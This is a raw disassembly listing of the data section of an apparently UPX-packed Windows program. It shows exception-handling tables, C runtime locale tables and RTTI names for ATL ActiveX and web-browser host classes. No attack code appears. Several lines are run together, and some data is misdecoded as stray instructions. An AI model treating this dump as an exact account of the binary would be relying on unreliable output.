dword_426D58 dd 0FFFFFFFEh, 0 dd 0FFFFFFD0h, 0
dd 0FFFFFFFEh, 0
dd offset sub_41656A
align 8
dd offset off_42BA1C
align 10h
dd 0FFFFFFFFh, 0
dd 4, 0
dword_426D90 dd 1, 426D74h dword_426D98 dd 3 dup(0) dd offset dword_426D90
dd 0
dd offset off_42DC78
dd 0
dd 0FFFFFFFFh, 0
dd 0Ch, 40AD27h, 0
dd offset off_42DC94
align 10h
dd 0FFFFFFFFh, 0
dd 28h, 404B07h, 0
dd offset off_42DCB4
dd 0
dd 0FFFFFFFFh, 0
dword_426DF4 dd 28h, 404B1Fh, 3, 426DC4h, 426DE0h, 426DA8hdword_426E0C dd 0 ; sub_40ABCE+29o
dd offset sub_404ADA
align 8
dd offset dword_426DF4+8
align 10h
dd offset off_42DE84
align 8
dd 0FFFFFFFFh, 0
dword_426E30 dd 28h, 405ED5h, 3, 426E1Ch, 426DE0h, 426DA8hdword_426E48 dd 0 ; sub_40AB96+29o
dd offset sub_404A95
dd 0
dd offset dword_426E30+8
dd 0
dd offset off_42DEC0
dd 0
dd 0FFFFFFFFh, 0
dword_426E6C dd 0Ch, 407019h, 2, 426E58h, 426DA8hdword_426E80 dd 0 ; sub_406FCF+34o ...
dd offset sub_40499C
dd 0
dd offset dword_426E6C+8
dword_426E90 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 41714Fh, 417153h, 0
dword_426EB0 dd 0FFFFFFFEh, 0 db 0CCh
db 3 dup(0FFh)
align 10h
dd 0FFFFFFFEh, 41739Ch, 4173CEh, 0FFFFFFFFh, 41BF76h
dword_426ED4 dd 19930522h, 1, 426ECCh, 5 dup(0) dd 1, 0FFFFFFFFh, 41BFA3h
dword_426F00 dd 19930522h, 1, 426EF8h, 5 dup(0) dd 1, 0FFFFFFFFh, 41BFC6h
dword_426F2C dd 19930522h, 1, 426F24h, 5 dup(0) dd 1, 0FFFFFFFFh, 41BFE9h, 0
dd offset loc_41BFF1
dd 1, 41BFF9h, 2, 41C001h, 3, 41C009h
dword_426F78 dd 19930522h, 5, 426F50h, 5 dup(0) dd 1, 0FFFFFFFFh, 41C036h, 0
dd offset loc_41C03E
dd 1, 41C046h, 2, 41C04Eh
dword_426FBC dd 19930522h, 4, 426F9Ch, 5 dup(0) dd 1, 0FFFFFFFFh, 41C07Bh
dword_426FE8 dd 19930522h, 1, 426FE0h, 5 dup(0) dd 1, 0FFFFFFFFh, 41C0A7h, 0FFFFFFFFh, 41C0AFh
dword_42701C dd 19930522h, 2, 42700Ch, 5 dup(0) dd 1, 0FFFFFFFFh, 41C0DFh, 0
dd offset loc_41C0E7
dd 1, 41C0F2h, 1, 41C0FAh
dword_427060 dd 19930522h, 4, 427040h, 5 dup(0) dd 1, 0FFFFFFFFh, 41C122h
dword_42708C dd 19930522h, 1, 427084h, 5 dup(0) dd 1
dword_4270B0 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 401171h, 401185h, 0
dword_4270D0 dd 0FFFFFFE4h, 0 dd 0FFFFFFD0h, 0
dd 0FFFFFFFEh, 401079h, 40108Dh, 0
dd 0FFFFFFFFh, 41BF0Ah
dword_4270F8 dd 19930522h, 1, 4270F0h, 5 dup(0) dd 1, 0
dd 0FFFFFFFFh, 41BF30h
dword_427128 dd 19930522h, 1, 427120h, 5 dup(0) dd 1, 0
dd 0FFFFFFFFh, 41BF53h
dword_427158 dd 19930522h, 1, 427150h, 5 dup(0) dd 1, 0
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 0
dd 40h, 2 dup(0)
dd offset loc_406D20
dd 2 dup(0)
dd 2 dup(1), 427190h
dword_4271B4 dd 19930522h, 2, 427180h, 1, 4271A0h, 3 dup(0) dd 1, 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 0
dd 1, 0
dd 1, 0
dd 40h, 2 dup(0)
dd offset sub_405FD8
dd 40h, 2 dup(0)
dd offset loc_405F66
dd 2 dup(2), 3, 1, 4271F8h, 2 dup(0)
dd 3, 1, 427208h
dword_427240 dd 19930522h, 4, 4271D8h, 2, 427218h, 3 dup(0) dd 1, 0
dd 0FFFFFFFFh, 41C181h
dword_427270 dd 19930522h, 1, 427268h, 5 dup(0) dd 1, 0
dd 0FFFFFFFFh, 41C1A4h, 0FFFFFFFFh, 41C1ACh, 1, 41C1B4h
dd 0FFFFFFFFh, 41C1BCh, 0FFFFFFFFh, 41C1C4h, 4, 41C1CCh
dd 0FFFFFFFFh, 41C1D4h
dword_4272D0 dd 19930522h, 7, 427298h, 5 dup(0) dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset loc_41C1F7
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 41C201h, 40h, 2 dup(0)
dd offset loc_401A82
dd 0
dd 1, 2, 1, 427318h
dword_42733C dd 19930522h, 4, 4272F8h, 1, 427328h, 3 dup(0) dd 1, 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 0
dd 40h, 2 dup(0)
dd offset loc_401680
dd 2 dup(0)
dd 2 dup(1), 427370h
dword_427394 dd 19930522h, 2, 427360h, 1, 427380h, 3 dup(0) dd 1, 0FFFFFFFFh, 41C23Fh
dword_4273C0 dd 19930522h, 1, 4273B8h, 5 dup(0) dd 1, 0
dd 0FFFFFFFFh, 41C26Ch
dword_4273F0 dd 19930522h, 1, 4273E8h, 5 dup(0) dd 1, 0
dd 0FFFFFFFFh, 41C2A2h, 4 dup(0)
dd 0FFFFFFFFh, 41C2AAh, 3, 0
dd 3, 0
dd 40h, 2 dup(0)
dd offset loc_407DEE
dd 40h, 2 dup(0)
dd offset loc_407F09
dd 2 dup(1), 2, 1, 427448h, 2 dup(4), 5, 1, 427458h
dword_427490 dd 19930522h, 6, 427418h, 2, 427468h, 3 dup(0) dd 1, 0
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 0
dd 1, 0
dd 1, 0
dd 40h, 2 dup(0)
dd offset sub_406638
dd 40h, 2 dup(0)
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 65h, 40h, 0
dd 2 dup(2), 3, 1, 4274D8h, 2 dup(0)
dd 3, 1, 4274E8h
dword_427520 dd 19930522h, 4, 4274B8h, 2, 4274F8h, 3 dup(0) dd 1, 0
dd 0FFFFFFFFh, 41C2F5h, 0
; ---------------------------------------------------------------------------
std
retn 41h
; ---------------------------------------------------------------------------
dd 1, 41C305h, 2, 41C30Dh
dword_427568 dd 19930522h, 4, 427548h, 5 dup(0) dd 1, 0
dd 0FFFFFFFFh, 41C33Dh
dword_427598 dd 19930522h, 1, 427590h, 5 dup(0) dd 1, 0
dd 0FFFFFFFFh, 41C36Dh, 0
dd offset loc_41C378
dword_4275D0 dd 19930522h, 2, 4275C0h, 5 dup(0) dd 1, 0
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 41C3B1h, 2, 0
dd 2, 0
dd 2, 41C3B9h, 40h, 2 dup(0)
dd offset loc_407627
dd 40h, 2 dup(0)
dd offset loc_40766E
align 10h
dd 2 dup(1), 427628h, 2 dup(3), 4, 1, 427638h
dword_427670 dd 19930522h, 6, 4275F8h, 2, 427648h, 3 dup(0) dd 1, 0
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 0
dd 40h, 2 dup(0)
dd offset loc_4069F1
align 10h
dd 2 dup(1), 4276A8h
dword_4276CC dd 19930522h, 2, 427698h, 1, 4276B8h, 3 dup(0) dd 1, 0FFFFFFFFh, 2 dup(0)
dd offset loc_41C3F7
dd 0FFFFFFFFh, 0
dd 40h, 2 dup(0)
dd offset sub_4064E4
dd 0
dd 1, 2, 1, 427708h
dword_42772C dd 19930522h, 3, 4276F0h, 1, 427718h, 3 dup(0) dd 1, 0FFFFFFFFh, 41C417h
dword_427758 dd 19930522h, 1, 427750h, 5 dup(0) dd 1, 0
dd 0FFFFFFFFh, 41C43Ah
dword_427788 dd 19930522h, 1, 427780h, 5 dup(0) dd 1, 0
dd 0FFFFFFFFh, 41C45Dh
dword_4277B8 dd 19930522h, 1, 4277B0h, 5 dup(0) dd 1, 0
dd 0FFFFFFFFh, 41C483h
dword_4277E8 dd 19930522h, 1, 4277E0h, 5 dup(0) dd 1, 0
dd 0FFFFFFFFh, 41C4A9h
dword_427818 dd 19930522h, 1, 427810h, 5 dup(0) dd 1, 0
dd 0FFFFFFFFh, 41C4CCh
dword_427848 dd 19930522h, 1, 427840h, 5 dup(0) dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset loc_41C4EF
dd 0FFFFFFFFh, 0
dd 40h, 2 dup(0)
dd offset loc_4050F9
dd 0
dd 1, 2, 1, 427888h
dword_4278AC dd 19930522h, 3, 427870h, 1, 427898h, 3 dup(0) dd 1, 0FFFFFFFFh, 41C514h, 0
dd offset loc_41C51C
dword_4278E0 dd 19930522h, 2, 4278D0h, 5 dup(0) dd 1, 0
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 0
dd 40h, 2 dup(0)
dd offset loc_404001
align 10h
dd 2 dup(1), 427918h
dword_42793C dd 19930522h, 2, 427908h, 1, 427928h, 3 dup(0) dd 1, 0FFFFFFFFh, 41C55Dh
dword_427968 dd 19930522h, 1, 427960h, 5 dup(0) dd 1, 0
dd 0FFFFFFFFh, 41C583h, 0
dd offset loc_41C58E
dword_4279A0 dd 19930522h, 2, 427990h, 5 dup(0) dd 1, 0
dd 0FFFFFFFFh, 41C5C7h
dword_4279D0 dd 19930522h, 1, 4279C8h, 5 dup(0) dd 1, 0
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 0
dd 40h, 2 dup(0)
dd offset loc_40712E
align 10h
dd 2 dup(1), 427A08h
dword_427A2C dd 19930522h, 2, 4279F8h, 1, 427A18h, 3 dup(0) dd 1, 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 0
dd 40h, 2 dup(0)
dd offset loc_406A85
dd 2 dup(0)
dd 2 dup(1), 427A60h
dword_427A84 dd 19930522h, 2, 427A50h, 1, 427A70h, 3 dup(0) dd 1, 0FFFFFFFFh, 41C620h, 0
dd offset loc_41C628
dword_427AB8 dd 19930522h, 2, 427AA8h, 5 dup(0) dd 1, 0
dd 0FFFFFFFFh, 41C64Bh, 0
dd offset loc_41C653
dword_427AF0 dd 19930522h, 2, 427AE0h, 5 dup(0) dd 1, 0
dd 0FFFFFFFFh, 41C680h, 0
dd offset loc_41C688
dd 1, 0
dd 1, 0
dd 40h, 2 dup(0)
dd offset loc_4079A5
dd 2 dup(2), 3, 1, 427B38h
dword_427B5C dd 19930522h, 4, 427B18h, 1, 427B48h, 3 dup(0) dd 1, 0FFFFFFFFh, 41C6B8h, 0
dd offset loc_41C6C0
dword_427B90 dd 19930522h, 2, 427B80h, 5 dup(0) dd 1, 0
dd 0FFFFFFFFh, 41C6E6h
dword_427BC0 dd 19930522h, 1, 427BB8h, 5 dup(0) dd 1, 0
dd 0FFFFFFFFh, 41C709h
dword_427BF0 dd 19930522h, 1, 427BE8h, 5 dup(0) dd 1, 0
dd 0FFFFFFFFh, 41C72Ch
dword_427C20 dd 19930522h, 1, 427C18h, 5 dup(0) dd 1, 0
dd 0FFFFFFFFh, 41C74Fh
dword_427C50 dd 19930522h, 1, 427C48h, 5 dup(0) dd 1, 0
dd 0FFFFFFFFh, 41C77Bh, 0
dd offset loc_41C786
dd 1, 41C791h, 2, 41C79Ch, 3, 41C7A7h, 4, 41C7B2h, 5, 41C7BDh
dword_427CB0 dd 19930522h, 7, 427C78h, 5 dup(0) dd 1, 0
dword_427CD8 dd 0FFFFFFFEh, 0 dd 0FFFFFFD8h, 0
dd 0FFFFFFFEh, 41BE87h, 41BEA3h, 0
dword_427CF8 dd 8C2h dup(0) ; sub_40AB4B+21o
off_42A000 dd offset sub_40A71A ; DATA XREF: sub_401304+Cr
; sub_401BB2+C6r ...
dd offset dword_41D4C8
dd offset dword_41D4C8
dd offset dword_41D4C8
dd offset dword_41D4C8
off_42A014 dd offset off_41D588 ; DATA XREF: UPX0:00424DD8o
; UPX0:00424DF8o
dd 0
a_?avtype_info@ db '.?AVtype_info@@',0
off_42A02C dd offset dword_41D4C8 ; DATA XREF: sub_40B444+5o
dword_42A030 dd 2 ; sub_40DF83+19r ...
dword_42A034 dd 0BA9E6A99h ; sub_4016D2+Br ...
dword_42A038 dd 45619566h ; sub_40FCD1+2Bw ...
align 10h
dword_42A040 dd 1 dword_42A044 dd 16h dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_42A1A8 dd 0Ch dword_42A1AC dd 8, 10h, 0 off_42A1B8 dd offset dword_42E728 ; DATA XREF: sub_40CE2D:loc_40CE6Cw
; sub_40E1F2-1370o ...
dword_42A1BC dd 1 dd offset dword_42E740
dd 1, 2 dup(0)
dd offset dword_42E758
dd 1, 42E770h, 1, 2 dup(0)
dd offset dword_42E788
dd 1, 42E7A0h, 1, 42E7B8h, 1, 2 dup(0)
dd offset dword_42E7D0
dd 1, 2 dup(0)
dd offset dword_42E7E8
dd 1, 42E800h, 1, 42E818h, 1, 2 dup(0)
dd offset dword_42E830
dd 1, 42E848h, 1, 42E860h, 1, 22h dup(0)
dword_42A2D8 dd 0FB6B578Dh ; sub_40E1F2-132Eo ...
align 10h
dword_42A2E0 dd 2 off_42A2E4 dd offset aR6002FloatingP ; DATA XREF: sub_40DDD8+13Dr
; "R6002\r\n- floating point support not loa"...
dd 8, 41DADCh, 9, 41DAB0h, 0Ah, 41DA18h, 10h, 41D9ECh
dd 11h, 41D9BCh, 12h, 41D998h, 13h, 41D96Ch, 18h, 41D934h
dd 19h, 41D90Ch, 1Ah, 41D8D4h, 1Bh, 41D89Ch, 1Ch, 41D874h
dd 1Eh, 41D854h, 1Fh, 41D7F0h, 20h, 41D7B8h, 21h, 41D6C0h
dd 22h, 41D620h, 78h, 41D610h, 79h, 41D600h, 7Ah, 41D5F0h
dd 0FCh, 41D5ECh, 0FFh, 41D5DCh, 2 dup(0)
dword_42A3A0 dd 0Fh ; sub_40E143+18r ...
dword_42A3A4 dd 0Eh ; sub_40E0C8+23r ...
align 10h
dd offset dword_41D4C8
align 10h
off_42A3C0 dd offset a_cmd ; DATA XREF: sub_40ED0F+1D0o
; ".cmd"
dd offset a_bat ; ".bat"
dd offset a_exe ; ".exe"
off_42A3CC dd offset a_com ; DATA XREF: sub_40ED0F+196o
; ".com"
dword_42A3D0 dd 3 ; sub_40F408+B1r ...
dword_42A3D4 dd 7 ; sub_40F408+B7r ...
dd 78h
dword_42A3DC dd 0Ah ; sub_41367E+8r
dword_42A3E0 dd 0FFFFFFFFh, 0A80h, 0Eh dup(0) ; sub_412505+29o ...
dd offset dword_41D4C8
off_42A424 dd offset off_41D588 ; DATA XREF: sub_410A1C+126o
; UPX0:00424E20o ...
dd 0
a_?avbad_except db '.?AVbad_exception@std@@',0
align 10h
off_42A450 dd offset dword_42F140 ; DATA XREF: sub_411916o
; sub_41191C+52o ...
align 8
dd offset dword_42F140
dd 101h
dword_42A460 dd 0FFFFFFFEh, 0 dd 1000h, 4 dup(0)
dd 2, 0FFFFFFFEh, 6 dup(0)
dd 2, 0FFFFFFFEh, 7 dup(0)
dword_42A4C0 dd 7Ch dup(0) dword_42A6B0 dd 8 dup(0) ; sub_411A60+11o
dword_42A6D0 dd 0FFFFFFFFh, 16h dup(0) ; sub_40E3A9+A8o ...
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 31h dup(0)
dd 62610000h, 66656463h, 6A696867h, 6E6D6C6Bh, 7271706Fh
dd 76757473h, 7A797877h, 0
db 0
align 2
aAbcdefghijklmn db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0
align 4
dd 21h dup(0)
byte_42A8F0 db 0 ; DATA XREF: sub_412028+102w
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h, 0
byte_42A9F8 db 0 ; DATA XREF: sub_412028+11Ew
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
dword_42AAF8 dd 952CA8h ; sub_411D23+4Cr ...
byte_42AAFC db 1 ; DATA XREF: sub_411E43+113r
db 2, 4, 8
dword_42AB00 dd 3A4h dword_42AB04 dd 82798260h, 21h, 0dword_42AB10 dd 0DFA6h align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dd offset dword_41E858+4
dword_42ABF4 dd 0FFFFFFFEh ; sub_40C799+50r ...
dword_42ABF8 dd 43h, 0 ; sub_412329:loc_41237Bo ...
dword_42AC00 dd 2, 15h dup(0) ; sub_412451+28o ...
dd offset dword_42ABF8
dd 3 dup(0)
dd offset dword_42ABF8
dd 3 dup(0)
dd offset dword_42ABF8
dd 3 dup(0)
dd offset dword_42ABF8
dd 3 dup(0)
dd offset dword_42ABF8
dd 3 dup(0)
dd 2 dup(1), 3 dup(0)
dd offset off_42AE00
dd 2 dup(0)
off_42ACC8 dd offset asc_41E658 ; DATA XREF: sub_415847+11r
; " ((((( H"
dd offset dword_41EA60+80h
dd offset dword_41EA60+200h
dd offset off_42AD40
off_42ACD8 dd offset dword_42AC00 ; DATA XREF: sub_40C799+28r
; sub_40E22F+ACr ...
dd 1
off_42ACE0 dd offset dword_42AC00 ; DATA XREF: sub_40F324+19o
dd offset dword_42A6D0
off_42ACE8 dd offset aNull_0 ; DATA XREF: sub_4128E7+453r
; sub_4128E7:loc_412E7Er
; "(null)"
off_42ACEC dd offset aNull ; DATA XREF: sub_4128E7+958r
; "(null)"
dword_42ACF0 dd 0FB6A12F8h ; sub_418C38+5w
dword_42ACF4 dd 0FB6A05D1h dword_42ACF8 dd 0FB6A0465h dword_42ACFC dd 0FB6A042Ch dword_42AD00 dd 0FB6A04BBh dword_42AD04 dd 0FB6A12F8h dword_42AD08 dd 0FB6A1D40h ; sub_418C38+37w
dword_42AD0C dd 0FB6A04A7h dword_42AD10 dd 0FB6A0705h ; sub_418C38+4Bw
dword_42AD14 dd 0FB6A07B0h ; sub_418C38+55w
byte_42AD18 db 3 ; DATA XREF: sub_413B6D+15r
; sub_413B6D:loc_413BA5r
align 4
dd 2
dword_42AD20 dd 19930520h, 3 dup(0) ; sub_414715+2o
dword_42AD30 dd 2 ; sub_41490D+52r ...
dd offset asc_41E658 ; " ((((( H"
dd offset dword_41E858+2
align 10h
off_42AD40 dd offset aSun ; DATA XREF: sub_4121E0+DCo
; UPX0:0042ACD4o
; "Sun"
dd offset aMon ; "Mon"
dd offset aTue ; "Tue"
dd offset aWed ; "Wed"
dd offset aThu ; "Thu"
dd offset aFri ; "Fri"
dd offset aSat ; "Sat"
dd offset aSunday ; "Sunday"
dd offset aMonday ; "Monday"
dd offset aTuesday ; "Tuesday"
dd offset aWednesday ; "Wednesday"
dd offset aThursday ; "Thursday"
dd offset aFriday ; "Friday"
dd offset aSaturday ; "Saturday"
dd offset aJan ; "Jan"
dd offset aFeb ; "Feb"
dd offset aMar ; "Mar"
dd offset aApr ; "Apr"
dd offset aMay ; "May"
dd offset aJun ; "Jun"
dd offset aJul ; "Jul"
dd offset aAug ; "Aug"
dd offset aSep ; "Sep"
dd offset aOct ; "Oct"
dd offset aNov ; "Nov"
dd offset aDec ; "Dec"
dd offset aJanuary ; "January"
dd offset aFebruary ; "February"
dd offset aMarch ; "March"
dd offset aApril ; "April"
dd offset aMay ; "May"
dd offset aJune ; "June"
dd offset aJuly ; "July"
dd offset aAugust ; "August"
dd offset aSeptember ; "September"
dd offset aOctober ; "October"
dd offset aNovember ; "November"
dd offset aDecember ; "December"
dd offset aAm ; "AM"
dd offset aPm ; "PM"
dd offset aMmDdYy ; "MM/dd/yy"
dd offset aDdddMmmmDdYyyy ; "dddd, MMMM dd, yyyy"
dd offset dword_41EA60+300h
dd 409h, 2 dup(1), 42AD40h
dword_42ADFC dd 2Eh off_42AE00 dd offset dword_42ADFC ; DATA XREF: sub_4121E0+17o
; sub_41537F+Fr ...
off_42AE04 dd offset dword_42EDC4 ; DATA XREF: sub_41537F+21r
off_42AE08 dd offset dword_42EDC4 ; DATA XREF: sub_41537F+33r
off_42AE0C dd offset dword_42EDC4 ; DATA XREF: sub_4153C4+10r
off_42AE10 dd offset dword_42EDC4 ; DATA XREF: sub_4153C4+22r
off_42AE14 dd offset dword_42EDC4 ; DATA XREF: sub_4153C4+34r
off_42AE18 dd offset dword_42EDC4 ; DATA XREF: sub_4153C4+46r
off_42AE1C dd offset dword_42EDC4 ; DATA XREF: sub_4153C4+58r
off_42AE20 dd offset dword_42EDC4 ; DATA XREF: sub_4153C4+6Ar
off_42AE24 dd offset dword_42EDC4 ; DATA XREF: sub_4153C4+7Cr
dd 2 dup(7F7F7F7Fh), 42AE00h, 1, 2Eh, 1
dword_42AE40 dd 0FFFFFFFEh dword_42AE44 dd 0FFFFFFFEh ; sub_41490D:loc_414938r ...
align 10h
dd 7080h, 1, 0FFFFF1F0h, 0
dword_42AE60 dd 545350h, 0Fh dup(0)dword_42AEA0 dd 544450h, 0Fh dup(0) dd offset dword_42AE60
dd offset dword_42AEA0
dd 0FFFFFFFFh, 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd 0FFFFFFFFh, 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h
dd 111h, 130h, 14Eh, 16Dh, 0FFFFFFFFh, 1Eh, 3Ah, 59h, 77h
dd 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh, 14Dh, 16Ch, 2 dup(0)
off_42AF70 dd offset off_41D588 ; DATA XREF: UPX0:off_4250F4o
; UPX0:004251B0o
align 8
a_?auiaxwinambi db '.?AUIAxWinAmbientDispatch@@',0
off_42AF94 dd offset off_41D588 ; DATA XREF: UPX0:off_425110o
; UPX0:00425170o
dd 0
a_?auiaxwinam_0 db '.?AUIAxWinAmbientDispatchEx@@',0
align 10h
off_42AFC0 dd offset off_41D588 ; DATA XREF: UPX0:off_42512Co
; UPX0:004251ECo
align 8
a_?av?Idispatch db '.?AV?$IDispatchImpl@UIAxWinAmbientDispatchEx@@$1?_GUID_b2d0778b_a'
db 'c99_4c58_a5c8_e7724e5316b5@@3U__s_GUID@@B$1?m_libid@CAtlModule@AT'
db 'L@@2U_GUID@@A$0PPPP@$0PPPP@VCComTypeInfoHolder@ATL@@@ATL@@',0
align 4
off_42B088 dd offset off_41D588 ; DATA XREF: UPX0:off_425224o
; UPX0:0042525Co
align 10h
a_?auidochostui db '.?AUIDocHostUIHandler@@',0
off_42B0A8 dd offset off_41D588 ; DATA XREF: UPX0:off_425294o
; UPX0:004252CCo
align 10h
a_?auiadvisesin db '.?AUIAdviseSink@@',0
align 4
off_42B0C4 dd offset off_41D588 ; DATA XREF: UPX0:off_425304o
; UPX0:0042533Co
dd 0
a_?auiservicepr db '.?AUIServiceProvider@@',0
align 4
off_42B0E4 dd offset off_41D588 ; DATA XREF: UPX0:off_425374o
; UPX0:004253CCo
dd 0
a_?auiobjectwit db '.?AUIObjectWithSite@@',0
align 4
off_42B104 dd offset off_41D588 ; DATA XREF: UPX0:off_425390o
; UPX0:00425404o
dd 0
a_?av?Iobjectwi db '.?AV?$IObjectWithSiteImpl@VCAxHostWindow@ATL@@@ATL@@',0
align 4
off_42B144 dd offset off_41D588 ; DATA XREF: UPX0:off_42543Co
; UPX0:00425494o
dd 0
a_?auiparsedisp db '.?AUIParseDisplayName@@',0
off_42B164 dd offset off_41D588 ; DATA XREF: UPX0:off_425458o
; UPX0:004254CCo
dd 0
a_?auiolecontai db '.?AUIOleContainer@@',0
off_42B180 dd offset off_41D588 ; DATA XREF: UPX0:off_425504o
; UPX0:0042553Co
align 8
a_?auiolecontro db '.?AUIOleControlSite@@',0
align 10h
off_42B1A0 dd offset off_41D588 ; DATA XREF: UPX0:off_425590o
; UPX0:0042564Co
align 8
a_?auioleinplac db '.?AUIOleInPlaceSite@@',0
align 10h
off_42B1C0 dd offset off_41D588 ; DATA XREF: UPX0:off_4255ACo
; UPX0:0042560Co
align 8
a_?auioleinpl_0 db '.?AUIOleInPlaceSiteEx@@',0
off_42B1E0 dd offset off_41D588 ; DATA XREF: UPX0:off_4255C8o
; UPX0:00425688o
align 8
a_?auioleinpl_1 db '.?AUIOleInPlaceSiteWindowless@@',0
off_42B208 dd offset off_41D588 ; DATA XREF: UPX0:off_4256C0o
; UPX0:004256F8o
align 10h
a_?auioleclient db '.?AUIOleClientSite@@',0
align 4
off_42B228 dd offset off_41D588 ; DATA XREF: UPX0:off_425730o
; UPX0:00425788o
align 10h
a_?auiaxwinhost db '.?AUIAxWinHostWindow@@',0
align 4
off_42B248 dd offset off_41D588 ; DATA XREF: UPX0:off_42574Co
; UPX0:004257C0o
align 10h
a_?auiaxwinho_0 db '.?AUIAxWinHostWindowLic@@',0
align 10h
off_42B270 dd offset off_41D588 ; DATA XREF: UPX0:off_4257DCo
align 8
a_?av?Cwindowim db '.?AV?$CWindowImpl@VCAxHostWindow@ATL@@VCWindow@2@V?$CWinTraits@$0'
db 'FGAAAAAA@$0A@@2@@ATL@@',0
off_42B2D0 dd offset off_41D588 ; DATA XREF: UPX0:off_425858o
; UPX0:0042588Co
align 8
a_?av?Ccomcocla db '.?AV?$CComCoClass@VCAxHostWindow@ATL@@$1?GUID_NULL@@3U_GUID@@B@AT'
db 'L@@',0
align 10h
off_42B320 dd offset off_41D588 ; DATA XREF: UPX0:off_424FF0o
align 8
a_?avcaxhostwin db '.?AVCAxHostWindow@ATL@@',0
off_42B340 dd offset off_41D588 ; DATA XREF: UPX0:00424E6Co
; UPX0:00424E80o ...
align 8
a_?av?Ccomconta db '.?AV?$CComContainedObject@VCAxHostWindow@ATL@@@ATL@@',0
align 10h
off_42B380 dd offset off_41D588 ; DATA XREF: UPX0:off_4250D8o
; UPX0:00425924o ...
align 8
a_?auidispatch@ db '.?AUIDispatch@@',0
off_42B398 dd offset off_41D588 ; DATA XREF: UPX0:004259B4o
align 10h
a_?audwebbrowse db '.?AUDWebBrowserEvents2@@',0
align 10h
dd offset off_41D588
align 8
a_?av?Cwindow_0 db '.?AV?$CWindowImpl@VHtmlControl@@VCWindow@ATL@@V?$CWinTraits@$0FGA'
db 'AAAAA@$0A@@3@@ATL@@',0
align 10h
off_42B420 dd offset off_41D588 ; DATA XREF: UPX0:004258D0o
; UPX0:004258E4o ...
align 8
a_?avhtmlcontro db '.?AVHtmlControl@@',0
align 4
off_42B43C dd offset off_41D588 ; DATA XREF: UPX0:00425C9Co
dd 0
a_?auienumunkno db '.?AUIEnumUnknown@@',0
align 4
dd offset off_41D588
align 10h
a_?av?Ccomenumi db '.?AV?$CComEnumImpl@UIEnumUnknown@@$1?_GUID_00000100_0000_0000_c00'
db '0_000000000046@@3U__s_GUID@@BPAUIUnknown@@V?$_CopyInterface@UIUnk'
db 'nown@@@ATL@@@ATL@@',0
align 4
off_42B4F8 dd offset off_41D588 ; DATA XREF: UPX0:00425BE0o
align 10h
a_?av?Ccomenum@ db '.?AV?$CComEnum@UIEnumUnknown@@$1?_GUID_00000100_0000_0000_c000_00'
db '0000000046@@3U__s_GUID@@BPAUIUnknown@@V?$_CopyInterface@UIUnknown'
db '@@@ATL@@VCComMultiThreadModel@6@@ATL@@',0
align 10h
